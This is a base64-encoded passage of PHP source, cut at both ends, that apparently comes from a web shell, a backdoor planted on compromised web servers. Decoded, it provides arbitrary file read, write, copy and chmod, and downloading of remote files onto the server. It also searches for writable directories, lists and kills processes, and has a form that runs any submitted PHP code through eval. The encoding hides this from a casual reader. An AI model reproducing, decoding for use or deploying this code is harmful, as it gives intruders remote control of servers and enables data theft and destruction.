YWNrIGJ1ZmZlciB0byBhcmNoaXZlXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImFjdGFyY2J1ZmZfcGF0aFwiIHZhbHVlPVwiZnhfYXJjaGl2ZV8iLnN1YnN0cihtZDUocmFuZCgxLDEwMDApLnJhbmQoMSwxMDAwKSksMCw1KS4iLnRhci5nelwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPVwiYWN0cGFzdGVidWZmXCIgdmFsdWU9XCJQYXN0ZVwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPVwiYWN0ZW1wdHlidWZmXCIgdmFsdWU9XCJFbXB0eSBidWZmZXJcIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgIH0NCiAgICBlY2hvICI8c2VsZWN0IG5hbWU9eD48b3B0aW9uIHZhbHVlPVwiIi4keC4iXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOw0KICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9ZGVsZXRlIi4oJGRzcGFjdCA9PSAiZGVsZXRlIj8iIHNlbGVjdGVkIjoiIikuIj5EZWxldGU8L29wdGlvbj4iOw0KICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9Y2htb2QiLigkZHNwYWN0ID09ICJjaG1vZCI/IiBzZWxlY3RlZCI6IiIpLiI+Q2hhbmdlLW1vZGU8L29wdGlvbj4iOw0KICAgIGlmICgkdXNlZnNidWZmKSB7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPWN1dCIuKCRkc3BhY3QgPT0gImN1dCI/IiBzZWxlY3RlZCI6IiIpLiI+Q3V0PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9Y29weSIuKCRkc3BhY3QgPT0gImNvcHkiPyIgc2VsZWN0ZWQiOiIiKS4iPkNvcHk8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT11bnNlbGVjdCIuKCRkc3BhY3QgPT0gInVuc2VsZWN0Ij8iIHNlbGVjdGVkIjoiIikuIj5VbnNlbGVjdDwvb3B0aW9uPiI7DQogICAgfQ0KICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIkNvbmZpcm1cIj48L2Rpdj4iOw0KICAgIGVjaG8gIjwvZm9ybT4iOw0KICB9DQp9DQppZiAoJHggPT0gInRvb2xzIikgDQp7DQoNCn0NCmlmICgkeCA9PSAicGhwZnN5cyIpIHsNCiAgZWNobyAiPGRpdiBhbGlnbj1sZWZ0PiI7DQogICRmc2Z1bmMgPSAkcGhwZnN5c2Z1bmM7DQogIGlmICgkZnNmdW5jPT0iY29weSIpIHsNCiAgICBpZiAoIWNvcHkoJGFyZzEsICRhcmcyKSkgeyBlY2hvICJGYWlsZWQgdG8gY29weSAkYXJnMS4uLlxuIjt9DQogICAgZWxzZSB7IGVjaG8gIjxiPlN1Y2Nlc3MhPC9iPiAkYXJnMSBjb3BpZWQgdG8gJGFyZzJcbiI7IH0NCiAgfQ0KICBlbHNlaWYgKCRmc2Z1bmM9PSJyZW5hbWUiKSB7DQogICAgaWYgKCFyZW5hbWUoJGFyZzEsICRhcmcyKSkgeyBlY2hvICJGYWlsZWQgdG8gcmVuYW1lL21vdmUgJGFyZzEhXG4iO30NCiAgICBlbHNlIHsgZWNobyAiPGI+U3VjY2VzcyE8L2I+ICRhcmcxIHJlbmFtZWQvbW92ZWQgdG8gJGFyZzJcbiI7IH0NCiAgfQ0KICBlbHNlaWYgKCRmc2Z1bmM9PSJjaG1vZCIpIHsNCiAgICBpZiAoIWNobW9kKCRhcmcxLCRhcmcyKSkgeyBlY2hvICJGYWlsZWQgdG8gY2htb2QgJGFyZzEhXG4iO30NCiAgICBlbHNlIHsgZWNobyAiPGI+UGVybSBmb3IgJGFyZzEgY2hhbmdlZCB0byAkYXJnMiE8L2I+XG4iOyB9DQogIH0NCiAgZWxzZWlmICgkZnNmdW5jPT0icmVhZCIpIHsNCiAgICAkaGFzaWwgPSBAZmlsZV9nZXRfY29udGVudHMoJGFyZzEpOw0KICAgIGVjaG8gIjxiPkZpbGVuYW1lOjwvYj4gJGFyZzE8YnI+IjsNCiAgICBlY2hvICI8dGV4dGFyZWEgY29scz0xNTAgcm93cz0yMD4iOw0KICAgIGVjaG8gJGhhc2lsOw0KICAgIGVjaG8gIjwvdGV4dGFyZWE+XG4iOw0KICB9DQogIGVsc2VpZiAoJGZzZnVuYz09IndyaXRlIikgew0KICAgIGlmKEBmaWxlX3B1dF9jb250ZW50cygkZC4kYXJnMSwkYXJnMikpIHsNCiAgICAgIGVjaG8gIjxiPlNhdmVkITwvYj4gIi4kZC4kYXJnMTsNCiAgICB9DQogICAgZWxzZSB7IGVjaG8gIjxkaXYgY2xhc3M9ZnhlcnJtc2c+Q291bGRuJ3Qgd3JpdGUgdG8gJGFyZzEhPC9kaXY+IjsgfQ0KICB9DQogIGVsc2VpZiAoJGZzZnVuYz09ImRvd25sb2FkYmluIikgew0KICAgICRoYW5kbGUgPSBmb3BlbigkYXJnMSwgInJiIik7DQogICAgJGNvbnRlbnRzID0gJyc7DQogICAgd2hpbGUgKCFmZW9mKCRoYW5kbGUpKSB7DQogICAgICAkY29udGVudHMgLj0gZnJlYWQoJGhhbmRsZSwgODE5Mik7DQogICAgfQ0KICAgICRyID0gQGZvcGVuKCRkLiRhcmcyLCd3Jyk7DQogICAgaWYgKGZ3cml0ZSgkciwkY29udGVudHMpKSB7IGVjaG8gIjxiPlN1Y2Nlc3MhPC9iPiAkYXJnMSBzYXZlZCB0byAiLiRkLiRhcmcyLiIgKCIudmlld19zaXplKGZpbGVzaXplKCRkLiRhcmcyKSkuIikiOyB9DQogICAgZWxzZSB7IGVjaG8gIjxkaXYgY2xhc3M9ZnhlcnJtc2c+Q291bGRuJ3Qgd3JpdGUgdG8gIi4kZC4kYXJnMi4iITwvZGl2PiI7IH0NCiAgICBmY2xvc2UoJHIpOw0KICAgIGZjbG9zZSgkaGFuZGxlKTsNCiAgfQ0KICBlbHNlaWYgKCRmc2Z1bmM9PSJkb3dubG9hZCIpIHsNCiAgICAkdGV4dCA9IGltcGxvZGUoJycsIGZpbGUoJGFyZzEpKTsNCiAgICBpZiAoJHRleHQpIHsNCiAgICAgICRyID0gQGZvcGVuKCRkLiRhcmcyLCd3Jyk7DQogICAgICBpZiAoZndyaXRlKCRyLCR0ZXh0KSkgeyBlY2hvICI8Yj5TdWNjZXNzITwvYj4gJGFyZzEgc2F2ZWQgdG8gIi4kZC4kYXJnMi4iICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kYXJnMikpLiIpIjsgfQ0KICAgICAgZWxzZSB7IGVjaG8gIjxkaXYgY2xhc3M9ZnhlcnJtc2c+Q291bGRuJ3Qgd3JpdGUgdG8gIi4kZC4kYXJnMi4iITwvZGl2PiI7IH0NCiAgICAgIGZjbG9zZSgkcik7DQogICAgfQ0KICAgIGVsc2UgeyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPkNvdWxkbid0IGRvd25sb2FkIGZyb20gJGFyZzEhPC9kaXY+Ijt9DQogIH0NCiAgZWxzZWlmICgkZnNmdW5jPT0nbWtkaXInKSB7DQogICAgJHRoZWRpciA9ICRkLiRhcmcxOw0KICAgIGlmICgkdGhlZGlyICE9ICRkKSB7DQogICAgICBpZiAoZmlsZV9leGlzdHMoJHRoZWRpcikpIHsgZWNobyAiPGI+QWxyZWFkeSBleGlzdHM6PC9iPiAiLmh0bWxzcGVjaWFsY2hhcnMoJHRoZWRpcik7IH0NCiAgICAgIGVsc2VpZiAoIW1rZGlyKCR0aGVkaXIpKSB7IGVjaG8gIjxiPkFjY2VzcyBkZW5pZWQ6PC9iPiAiLmh0bWxzcGVjaWFsY2hhcnMoJHRoZWRpcik7IH0NCiAgICAgIGVsc2UgeyBlY2hvICI8Yj5EaXIgY3JlYXRlZDo8L2I+ICIuaHRtbHNwZWNpYWxjaGFycygkdGhlZGlyKTt9DQogICAgfQ0KICAgIGVsc2UgeyBlY2hvICJDb3VsZG4ndCBjcmVhdGUgY3VycmVudCBkaXI6PGI+ICR0aGVkaXI8L2I+IjsgfQ0KICB9DQogIGVsc2VpZiAoJGZzZnVuYz09J2Z3cml0YWJsZWRpcicpIHsNCiAgICBmdW5jdGlvbiByZWN1cnNlX2RpcigkZGlyLCRtYXhfZGlyKSB7DQogICAgICBnbG9iYWwgJGRpcl9jb3VudDsNCiAgICAgICRkaXJfY291bnQrKzsNCiAgICAgIGlmKCAkY2RpciA9IEBkaXIoJGRpcikgKSB7DQogICAgICAgIHdoaWxlKCAkZW50cnkgPSAkY2Rpci0+IHJlYWQoKSApIHsNCiAgICAgICAgICBpZiggJGVudHJ5ICE9ICcuJyAmJiAkZW50cnkgIT0gJy4uJyApIHsNCiAgICAgICAgICAgIGlmKGlzX2RpcigkZGlyLiRlbnRyeSkgJiYgaXNfd3JpdGFibGUoJGRpci4kZW50cnkpICkgew0KICAgICAgICAgICAgIGlmICgkZGlyX2NvdW50ID4gJG1heF9kaXIpIHsgcmV0dXJuOyB9DQogICAgICAgICAgICAgIGVjaG8gIlsiLiRkaXJfY291bnQuIl0gIi4kZGlyLiRlbnRyeS4iXG4iOw0KICAgICAgICAgICAgICByZWN1cnNlX2RpcigkZGlyLiRlbnRyeS5ESVJFQ1RPUllfU0VQQVJBVE9SLCRtYXhfZGlyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJGNkaXItPmNsb3NlKCk7DQogICAgICB9DQogICAgfQ0KICAgIGlmICghJGFyZzEpIHsgJGFyZzEgPSAkZDsgfQ0KICAgIGlmICghJGFyZzIpIHsgJGFyZzIgPSAxMDsgfQ0KICAgIGVjaG8gIjxiPldyaXRhYmxlIGRpcmVjdG9yaWVzIChNYXg6ICRhcmcyKSBpbjo8L2I+ICRhcmcxPGJyPiI7DQogICAgZWNobyAiPHByZT4iOw0KICAgIHJlY3Vyc2VfZGlyKCRhcmcxLCRhcmcyKTsNCiAgICBlY2hvICI8L3ByZT4iOw0KICAgICR0b3RhbCA9ICRkaXJfY291bnQgLSAxOw0KICAgIGVjaG8gIjxiPkZvdW5kczo8L2I+ICIuJHRvdGFsLiIgb2YgPGI+TWF4PC9iPiAkYXJnMiI7DQogIH0NCiAgZWxzZSB7DQogICAgaWYgKCEkYXJnMSkgeyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPk5vIG9wZXJhdGlvbiEgUGxlYXNlIGZpbGwgcGFyYW1ldGVyIFtBXSE8L2Rpdj5cbiI7IH0NCiAgICBlbHNlIHsNCiAgICAgIGlmICgkaGFzaWwgPSAkZnNmdW5jKCRhcmcxKSkgew0KICAgICAgICBlY2hvICI8Yj5SZXN1bHQgb2YgJGZzZnVuYyAkYXJnMTo8L2I+PGJyPiI7DQogICAgICAgIGlmICghaXNfYXJyYXkoJGhhc2lsKSkgeyBlY2hvICIkaGFzaWxcbiI7IH0NCiAgICAgICAgZWxzZSB7DQogICAgICAgICAgZWNobyAiPHByZT4iOw0KICAgICAgICAgIGZvcmVhY2ggKCRoYXNpbCBhcyAkdikgeyBlY2hvICR2LiJcbiI7IH0NCiAgICAgICAgICBlY2hvICI8L3ByZT4iOw0KICAgICAgICB9DQogICAgICB9DQogICAgICBlbHNlIHsgZWNobyAiPGRpdiBjbGFzcz1meGVycm1zZz4kZnNmdW5jICRhcmcxIGZhaWxlZCE8L2Rpdj5cbiI7IH0NCiAgICB9DQogIH0NCiAgZWNobyAiPC9kaXY+XG4iOw0KfQ0KaWYgKCR4ID09ICJwcm9jZXNzZXMiKSB7DQogIGVjaG8gIjxkaXYgY2xhc3M9YmFyaGVhZGVyPlsgUHJvY2Vzc2VzIF08L2Rpdj4iOw0KICBpZiAoISR3aW4pIHsgJGhhbmRsZXIgPSAicHMgLWF1eCIuKCRncmVwPyIgfCBncmVwICciLmFkZHNsYXNoZXMoJGdyZXApLiInIjoiIik7IH0NCiAgZWxzZSB7ICRoYW5kbGVyID0gInRhc2tsaXN0IjsgfQ0KICAkcmV0ID0gbXlzaGVsbGV4ZWMoJGhhbmRsZXIpOw0KICBpZiAoISRyZXQpIHsgZWNobyAiQ2FuJ3QgZXhlY3V0ZSBcIiIuJGhhbmRsZXIuIlwiISI7IH0NCiAgZWxzZSB7DQogICAgaWYgKGVtcHR5KCRwcm9jZXNzZXNfc29ydCkpIHskcHJvY2Vzc2VzX3NvcnQgPSAkc29ydF9kZWZhdWx0O30NCiAgICAkcGFyc2Vzb3J0ID0gcGFyc2Vzb3J0KCRwcm9jZXNzZXNfc29ydCk7DQogICAgaWYgKCFpc19udW1lcmljKCRwYXJzZXNvcnRbMF0pKSB7JHBhcnNlc29ydFswXSA9IDA7fQ0KICAgICRrID0gJHBhcnNlc29ydFswXTsNCiAgICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHsNCiAgICAgICR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iYVwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNvcnRfZGVzY1wiIGJvcmRlcj1cIjBcIj48L2E+IjsNCiAgICB9DQogICAgZWxzZSB7DQogICAgICAkeSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGsuImRcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1zb3J0X2FzY1wiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYm9yZGVyPVwiMFwiPjwvYT4iOw0KICAgIH0NCiAgICAkcmV0ID0gaHRtbHNwZWNpYWxjaGFycygkcmV0KTsNCiAgICBpZiAoISR3aW4pIHsNCiAgICAgIGlmICgkcGlkKSB7DQogICAgICAgIGlmIChpc19udWxsKCRzaWcpKSB7JHNpZyA9IDk7fQ0KICAgICAgICBlY2hvICJTZW5kaW5nIHNpZ25hbCAiLiRzaWcuIiB0byAjIi4kcGlkLiIuLi4gIjsNCiAgICAgICAgaWYgKHBvc2l4X2tpbGwoJHBpZCwkc2lnKSkge2VjaG8gIk9LLiI7fQ0KICAgICAgICBlbHNlIHtlY2hvICJFUlJPUi4iO30NCiAgICAgIH0NCiAgICAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICIsJHJldCk7fQ0KICAgICAgJHN0YWNrID0gZXhwbG9kZSgiXG4iLCRyZXQpOw0KICAgICAgJGhlYWQgPSBleHBsb2RlKCIgIiwkc3RhY2tbMF0pOw0KICAgICAgdW5zZXQoJHN0YWNrWzBdKTsNCiAgICAgIGZvcigkaT0wOyRpPGNvdW50KCRoZWFkKTskaSsrKSB7DQogICAgICAgIGlmICgkaSAhPSAkaykgeyRoZWFkWyRpXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGkuJHBhcnNlc29ydFsxXS4iXCI+PGI+Ii4kaGVhZFskaV0uIjwvYj48L2E+Ijt9DQogICAgICB9DQogICAgICAkcHJjcyA9IGFycmF5KCk7DQogICAgICBmb3JlYWNoICgkc3RhY2sgYXMgJGxpbmUpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkbGluZSkpIHsNCiAgICAgICAgICBlY2hvICI8dHI+IjsNCiAgICAgICAgICAkbGluZSA9IGV4cGxvZGUoIiAiLCRsaW5lKTsNCiAgICAgICAgICAkbGluZVsxMF0gPSBqb2luKCIgIixhcnJheV9zbGljZSgkbGluZSwxMCkpOw0KICAgICAgICAgICRsaW5lID0gYXJyYXlfc2xpY2UoJGxpbmUsMCwxMSk7DQogICAgICAgICAgaWYgKCRsaW5lWzBdID09IGdldF9jdXJyZW50X3VzZXIoKSkgeyRsaW5lWzBdID0gIjxmb250IGNvbG9yPWdyZWVuPiIuJGxpbmVbMF0uIjwvZm9udD4iO30NCiAgICAgICAgICAkbGluZVtdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PXByb2Nlc3NlcyZkPSIudXJsZW5jb2RlKCRkKS4iJnBpZD0iLiRsaW5lWzFdLiImc2lnPTlcIj48dT5LSUxMPC91PjwvYT4iOw0KICAgICAgICAgICRwcmNzW10gPSAkbGluZTsNCiAgICAgICAgICBlY2hvICI8L3RyPiI7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogICAgZWxzZSB7DQogICAgICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiAiLCRyZXQpO30NCiAgICAgIHdoaWxlIChlcmVnKCI9IiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiPSIsIiIsJHJldCk7fQ0KICAgICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOw0KICAgICAgJHN0YWNrID0gZXhwbG9kZSgiXG4iLCRyZXQpOw0KICAgICAgdW5zZXQoJHN0YWNrWzBdLCRzdGFja1syXSk7DQogICAgICAkc3RhY2sgPSBhcnJheV92YWx1ZXMoJHN0YWNrKTsNCiAgICAgICRzdGFja1swXT1zdHJfcmVwbGFjZSgiSW1hZ2UgTmFtZSIsIkltYWdlTmFtZSIsJHN0YWNrWzBdKTsNCiAgICAgICRzdGFja1swXT1zdHJfcmVwbGFjZSgiU2Vzc2lvbiBOYW1lIiwiU2Vzc2lvbk5hbWUiLCRzdGFja1swXSk7DQogICAgICAkc3RhY2tbMF09c3RyX3JlcGxhY2UoIk1lbSBVc2FnZSIsIk1lbW9yeVVzYWdlIiwkc3RhY2tbMF0pOw0KICAgICAgJGhlYWQgPSBleHBsb2RlKCIgIiwkc3RhY2tbMF0pOw0KICAgICAgJHN0YWNrID0gYXJyYXlfc2xpY2UoJHN0YWNrLDEpOw0KICAgICAgJGhlYWQgPSBhcnJheV92YWx1ZXMoJGhlYWQpOw0KICAgICAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKSB7ICR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iYVwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNvcnRfZGVzY1wiIGJvcmRlcj1cIjBcIj48L2E+IjsgfQ0KICAgICAgZWxzZSB7ICR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iZFwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNvcnRfYXNjXCIgYm9yZGVyPVwiMFwiPjwvYT4iOyB9DQogICAgICBpZiAoJGsgPiBjb3VudCgkaGVhZCkpIHskayA9IGNvdW50KCRoZWFkKS0xO30NCiAgICAgIGZvcigkaT0wOyRpPGNvdW50KCRoZWFkKTskaSsrKSB7DQogICAgICAgIGlmICgkaSAhPSAkaykgeyAkaGVhZFskaV0gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRpLiRwYXJzZXNvcnRbMV0uIlwiPjxiPiIudHJpbSgkaGVhZFskaV0pLiI8L2I+PC9hPiI7IH0NCiAgICAgIH0NCiAgICAgICRwcmNzID0gYXJyYXkoKTsNCiAgICAgIHVuc2V0KCRzdGFja1swXSk7DQogICAgICBmb3JlYWNoICgkc3RhY2sgYXMgJGxpbmUpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkbGluZSkpIHsNCiAgICAgICAgICAkbGluZSA9IGV4cGxvZGUoIiAiLCRsaW5lKTsNCiAgICAgICAgICAkbGluZVs0XSA9IHN0cl9yZXBsYWNlKCIuIiwiIiwkbGluZVs0XSk7DQogICAgICAgICAgJGxpbmVbNF0gPSBpbnR2YWwoJGxpbmVbNF0pICogMTAyNDsNCiAgICAgICAgICB1bnNldCgkbGluZVs1XSk7DQogICAgICAgICAgJHByY3NbXSA9ICRsaW5lOw0KICAgICAgICB9DQogICAgICB9DQogICAgfQ0KICAgICRoZWFkWyRrXSA9ICI8Yj4iLiRoZWFkWyRrXS4iPC9iPiIuJHk7DQogICAgJHYgPSAkcHJvY2Vzc2VzX3NvcnRbMF07DQogICAgdXNvcnQoJHByY3MsInRhYnNvcnQiKTsNCiAgICBpZiAoJHByb2Nlc3Nlc19zb3J0WzFdID09ICJkIikgeyRwcmNzID0gYXJyYXlfcmV2ZXJzZSgkcHJjcyk7fQ0KICAgICR0YWIgPSBhcnJheSgpOw0KICAgICR0YWJbXSA9ICRoZWFkOw0KICAgICR0YWIgPSBhcnJheV9tZXJnZSgkdGFiLCRwcmNzKTsNCiAgICBlY2hvICI8dGFibGUgY2xhc3M9ZXhwbG9yZXI+IjsNCiAgICBmb3JlYWNoKCR0YWIgYXMgJGk9PiRrKSB7DQogICAgICBlY2hvICI8dHI+IjsNCiAgICAgIGZvcmVhY2goJGsgYXMgJGo9PiR2KSB7DQogICAgICAgIGlmICgkd2luIGFuZCAkaSA+IDAgYW5kICRqID09IDQpIHskdiA9IHZpZXdfc2l6ZSgkdik7fQ0KICAgICAgICBlY2hvICI8dGQ+Ii4kdi4iPC90ZD4iOw0KICAgICAgfQ0KICAgICAgZWNobyAiPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICI8L3RhYmxlPiI7DQogIH0NCn0NCmlmICgkeCA9PSAiZXZhbCIpIHsNCiAgaWYgKCFlbXB0eSgkZXZhbCkpIHsNCiAgICBlY2hvICJSZXN1bHQgb2YgZXhlY3V0aW9uIHRoaXMgUEhQLWNvZGU6PGJyPiI7DQogICAgJHRtcCA9IG9iX2dldF9jb250ZW50cygpOw0KICAgICRvbGRkaXIgPSByZWFscGF0aCgiLiIpOw0KICAgIEBjaGRpcigkZCk7DQogICAgaWYgKCR0bXApIHsNCiAgICAgIG9iX2NsZWFuKCk7DQogICAgICBldmFsKCRldmFsKTsNCiAgICAgICRyZXQgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgICRyZXQgPSBjb252ZXJ0X2N5cl9zdHJpbmcoJHJldCwiZCIsInciKTsNCiAgICAgIG9iX2NsZWFuKCk7DQogICAgICBlY2hvICR0bXA7DQogICAgICBpZiAoJGV2YWxfdHh0KSB7DQogICAgICAgICRyb3dzID0gY291bnQoZXhwbG9kZSgiXHJcbiIsJHJldCkpKzE7DQogICAgICAgIGlmICgkcm93cyA8IDEwKSB7JHJvd3MgPSAxMDt9DQogICAgICAgIGVjaG8gIjxicj48dGV4dGFyZWEgY29scz1cIjEyMlwiIHJvd3M9XCIiLiRyb3dzLiJcIiByZWFkb25seT4iLmh0bWxzcGVjaWFsY2hhcnMoJHJldCkuIjwvdGV4dGFyZWE+IjsNCiAgICAgIH0NCiAgICAgIGVsc2Uge2VjaG8gJHJldC4iPGJyPiI7fQ0KICAgIH0NCiAgICBlbHNlIHsNCiAgICAgIGlmICgkZXZhbF90eHQpIHsNCiAgICAgICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIjE1XCIgcmVhZG9ubHk+IjsNCiAgICAgICAgZXZhbCgkZXZhbCk7DQogICAgICAgIGVjaG8gIjwvdGV4dGFyZWE+IjsNCiAgICAgIH0NCiAgICAgIGVsc2Uge2VjaG8gJHJldDt9DQogICAgfQ0KICAgIEBjaGRpcigkb2xkZGlyKTsNCiAgfQ0KICBlbHNlIHtlY2hvICI8Yj5QSFAtY29kZSBFeGVjdXRpb24gKFVzZSB3aXRob3V0IFBIUCBCcmFjZXMhKTwvYj4iOyBpZiAoZW1wdHkoJGV2YWxfdHh0KSkgeyRldmFsX3R4dCA9IFRSVUU7fX0NCiAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1ldmFsPjx0ZXh0YXJlYSBuYW1lPVwiZXZhbFwiIGNvbHM9XCIxMjJcIiByb3dzPVwiMTBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJGV2YWwpLiI8L3RleHRhcmVhPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiRXhlY3V0ZVwiPiZuYnNwO0Rpc3BsYXkgaW4gdGV4dC1hcmVhJm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJldmFsX3R4dFwiIHZhbHVlPVwiMVwiIjsgaWYgKCRldmFsX3R4dCkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48L2Zvcm0+IjsNCn0NCmlmICgkeCA9PSAiZiIpIHsNCiAgZWNobyAiPGRpdiBhbGlnbj1sZWZ0PiI7DQogIGlmICgoIWlzX3JlYWRhYmxlKCRkLiRmKSBvciBpc19kaXIoJGQuJGYpKSBhbmQgJGZ0ICE9ICJlZGl0Iikgew0KICAgIGlmIChmaWxlX2V4aXN0cygkZC4kZikpIHtlY2hvICI8Y2VudGVyPjxiPlBlcm1pc2lvbiBkZW5pZWQgKCIuaHRtbHNwZWNpYWxjaGFycygkZC4kZikuIikhPC9iPjwvY2VudGVyPiI7fQ0KICAgIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+RmlsZSBkb2VzIG5vdCBleGlzdHMgKCIuaHRtbHNwZWNpYWxjaGFycygkZC4kZikuIikhPC9iPjxicj48YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9ZWRpdCZkPSIudXJsZW5jb2RlKCRkKS4iJmM9MVwiPjx1PkNyZWF0ZTwvdT48L2E+PC9jZW50ZXI+Ijt9DQogIH0NCiAgZWxzZSB7DQogICAgJHIgPSBAZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOw0KICAgICRleHQgPSBleHBsb2RlKCIuIiwkZik7DQogICAgJGMgPSBjb3VudCgkZXh0KS0xOw0KICAgICRleHQgPSAkZXh0WyRjXTsNCiAgICAkZXh0ID0gc3RydG9sb3dlcigkZXh0KTsNCiAgICAkcmZ0ID0gIiI7DQogICAgZm9yZWFjaCgkZnR5cGVzIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkZXh0LCR2KSkgeyRyZnQgPSAkazsgYnJlYWs7fX0NCiAgICBpZiAoZXJlZ2koInNlc3NfKC4qKSIsJGYpKSB7JHJmdCA9ICJwaHBzZXNzIjt9DQogICAgaWYgKGVtcHR5KCRmdCkpIHskZnQgPSAkcmZ0O30NCiAgICAkYXJyID0gYXJyYXkoDQogICAgICAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfZGl6XCIgYm9yZGVyPVwiMFwiPiIsImluZm8iKSwNCiAgICAgICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9odG1sXCIgYm9yZGVyPVwiMFwiPiIsImh0bWwiKSwNCiAgICAgICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF90eHRcIiBib3JkZXI9XCIwXCI+IiwidHh0IiksDQogICAgICAgIGFycmF5KCJDb2RlIiwiY29kZSIpLA0KICAgICAgICBhcnJheSgiU2Vzc2lvbiIsInBocHNlc3MiKSwNCiAgICAgICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9leGVcIiBib3JkZXI9XCIwXCI+IiwiZXhlIiksDQogICAgICAgIGFycmF5KCJTREIiLCJzZGIiKSwNCiAgICAgICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9naWZcIiBib3JkZXI9XCIwXCI+IiwiaW1nIiksDQogICAgICAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfaW5pXCIgYm9yZGVyPVwiMFwiPiIsImluaSIpLA0KICAgICAgICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZG93bmxvYWRcIiBib3JkZXI9XCIwXCI+IiwiZG93bmxvYWQiKSwNCiAgICAgICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9ydGZcIiBib3JkZXI9XCIwXCI+Iiwibm90ZXBhZCIpLA0KICAgICAgICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9Y2hhbmdlXCIgYm9yZGVyPVwiMFwiPiIsImVkaXQiKQ0KICAgICk7DQogICAgZWNobyAiPGI+Vmlld2luZyBmaWxl